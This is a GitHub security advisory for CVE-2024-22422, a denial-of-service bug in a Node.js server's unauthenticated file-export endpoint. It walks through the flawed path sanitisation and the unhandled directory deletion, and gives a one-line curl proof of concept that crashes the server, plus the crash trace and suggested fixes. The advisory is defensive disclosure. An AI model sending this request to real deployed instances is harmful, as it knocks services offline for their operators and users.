Skip to content

Unauthenticated Denial of Service (DOS) attack in File Exports

High
timothycarambat published GHSA-xmj6-g32r-fc5q Jan 18, 2024

Package

No package listed

Affected versions

latest

Patched versions

None

Description

Summary

An unauthenticated API route (file export) can allow attacker to crash the server resulting in a denial of service attack.

General Description

The “data-export” endpoint is used to export files using the filename parameter as user input.

The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it.

An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it.
Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet.

Vulnerable Code Walkthrough

The API endpoint “/api/system/data-exports:filename” code can be found in the "server/endpoints/system.js" file:

app.get("/system/data-exports/:filename", (request, response) => {
     const exportLocation = __dirname + "/../storage/exports/";
     const sanitized = normalizePath(request.params.filename); // returns .
     const finalDestination = path.join(exportLocation, sanitized);

   if (!fs.existsSync(finalDestination)) {
     response.status(404).json({
       error: 404,
       msg: `File ${request.params.filename} does not exist in exports.`,
     });
     return;
   }

   response.download(finalDestination, request.params.filename, (err) => {
     if (err) {
       response.send({
         error: err,
         msg: "Problem downloading the file",
       });
     }
     // delete on download because endpoint is not authenticated.
     fs.rmSync(finalDestination);
   });
 });

The steps for processing the user input are as follows:

  1. Takes the filename parameter’s value and sanitizes it using the “normalizePath” function
  2. Join the sanitized path to a predefined path pointing to the exports folder.
  3. Check if the file exists or not (if not - throw an error).
  4. Download the file using the supplied path.
  5. Deleting the file.

The issue starts with bullet No. 1, as the “normalizePath" function can be tricked to point to the current directory:

const path = require("path");

function normalizePath(filepath = "") {
  return path.normalize(filepath).replace(/^(\.\.(\/|\\|$))+/, "");
}
console.log(normalizePath("."));

// Output: . (current directory)

Then, the check, if the file exists, will result as True as fs.existsSync considering a directory as a valid file:

const fs = require("fs");

console.log(fs.existsSync("."));

// Output: true

In bullet No. 5 the fs.rmSync(finalDestination); is not wrapped with error handling, and does not have a folder deletion option, therefore will result in an error - which while unhandled results in crashing the process.

PoC

As the API endpoint is unauthenticated there is only a need for a single HTTP request to crash the server:

curl -i -s -k -X $'GET' \
-H $'Host: localhost:3001' \
-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' \
-H $'Accept: */*' \
-H $'Accept-Language: en-US,en;q=0.5' \
-H $'Accept-Encoding: gzip, deflate' \
-H $'Connection: close' \
$'http://localhost:3001/api/system/data-exports/.'

This will result in the following error at the NodeJS console:

node:internal/fs/utils:835
      throw new ERR_FS_EISDIR({
     ^
SystemError [ERR_FS_EISDIR]: Path is a directory: rm returned EISDIR (is a directory) /app/server/storage/exports
    at Object.rmSync (node:fs:1268:13)
    at /app/server/endpoints/system.js:427:10
    at /app/server/node_modules/express/lib/response.js:450:22
    at SendStream.ondirectory (/app/server/node_modules/express/lib/response.js:1064:5)
    at SendStream.emit (node:events:517:28)
    at SendStream.redirect (/app/server/node_modules/send/index.js:475:10)
    at onstat (/app/server/node_modules/send/index.js:723:41)
    at FSReqCallback.oncomplete (node:fs:203:5) {
  code: 'ERR_FS_EISDIR',
  info: {
    code: 'EISDIR',
    message: 'is a directory',
    path: '/app/server/storage/exports',
    syscall: 'rm',
    errno: 21
  },  
errno: [Getter/Setter],
  syscall: [Getter/Setter],
  path: [Getter/Setter]
}

Afterwards, the process will terminate itself as the error is not handled.

Impact

Due to this issue, an unauthenticated denial of service attack can be performed. Organizations or users that need high system availability can suffer significant financial loss and reputation damage from this attack.

Suggested Mitigation

In order to completely mitigate this issue we recommend implementing two fixes:

  1. After sanitizing the input, check to filter special cases that point to a directory such as, dot/double dot as a filename, empty filename, etc.
  2. Wrap the file deletion action in an error handling clause (try.. catch).

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2024-22422

Weaknesses

Credits